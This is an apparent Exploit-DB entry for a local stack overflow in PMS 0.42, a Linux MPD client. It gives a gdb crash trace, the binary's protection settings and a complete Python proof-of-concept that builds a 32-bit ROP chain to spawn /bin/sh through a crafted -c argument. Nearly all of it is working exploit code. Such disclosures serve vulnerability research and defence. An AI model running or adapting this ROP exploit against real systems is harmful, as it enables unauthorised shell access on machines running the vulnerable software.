# PMS 0.42 - Local Stack-Based Overflow (ROP)

**EDB-ID:**
44426

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
JUAN SACCO

**Type:**
LOCAL

**Exploit:** / {}

**Platform:**
LINUX

**Date:**
2018-04-09

**Vulnerable App:**

```
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> -
http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: PMS 0.42 is prone to a local unauthenticated stack-based
overflow
# The vulnerability is due to an unproper filter of user supplied input
while reading
# the configuration file and parsing the malicious crafted values.
#
# 0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n")
# 0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A'
<repeats 169 times>...)
# 0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('')
#
# Program: PMS 0.42 Practical Music Search, an MPD client
# PMS is an ncurses based client for Music Player Daemon.
# Vendor homepage: https://pms.sourceforge.net
# Kali Filename: pool/main/p/pms/pms_0.42-1+b2_i386.deb
#
# CANARY    : disabled
# FORTIFY   : disabled
# NX        : ENABLED
# PIE       : disabled
# RELRO     : Partial
#
#0000| 0xbfffe6c0 --> 0x4592a0 --> 0x45f870 --> 0x4
#0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n")
#0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A'
<repeats 169 times>...)
#0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('')
#0016| 0xbfffe6d0 --> 0x4637ef ("german")
#0020| 0xbfffe6d4 --> 0x4637f6 ("de_DE.ISO-8859-1")
#0024| 0xbfffe6d8 --> 0x46adb0 ("AAAA\240\312F")
#0028| 0xbfffe6dc ("2018-04-04 06:57:58")
#Legend: code, data, rodata, value
#Stopped reason: SIGSEGV
#0x0042f6c6 in Pms::log (this=<optimized out>, verbosity=<optimized out>,
code=0x41414141, format=<optimized out>) at src/pms.cpp:982
#982 if (!disp && verbosity < MSG_DEBUG)
#gdb-peda$ backtrace
#0  0x0042f6c6 in Pms::log (this=<optimized out>, verbosity=<optimized
out>, code=0x41414141, format=<optimized out>) at src/pms.cpp:982
#1  0x41414141 in ?? ()

import os, subprocess
from struct import pack

# rop execve ( bin/sh )
rop = "A"*1017 # junk
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi
; pop ebp ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;
pop ebp ; ret
rop += pack('<I', 0x0811abe4) # @ .data + 4
```

```
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi
; pop ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x08067b43) # pop ecx ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi
; pop ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x0811abe0) # padding without overwrite ebx
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080c861f) # int 0x80

try:
   print("[*] PMS 0.42 Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["pms -c", rop])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "PMS  not found!"
   else:
    print "Error executing exploit"
   raise
```

**Tags:**

**Advisory/Source:** Link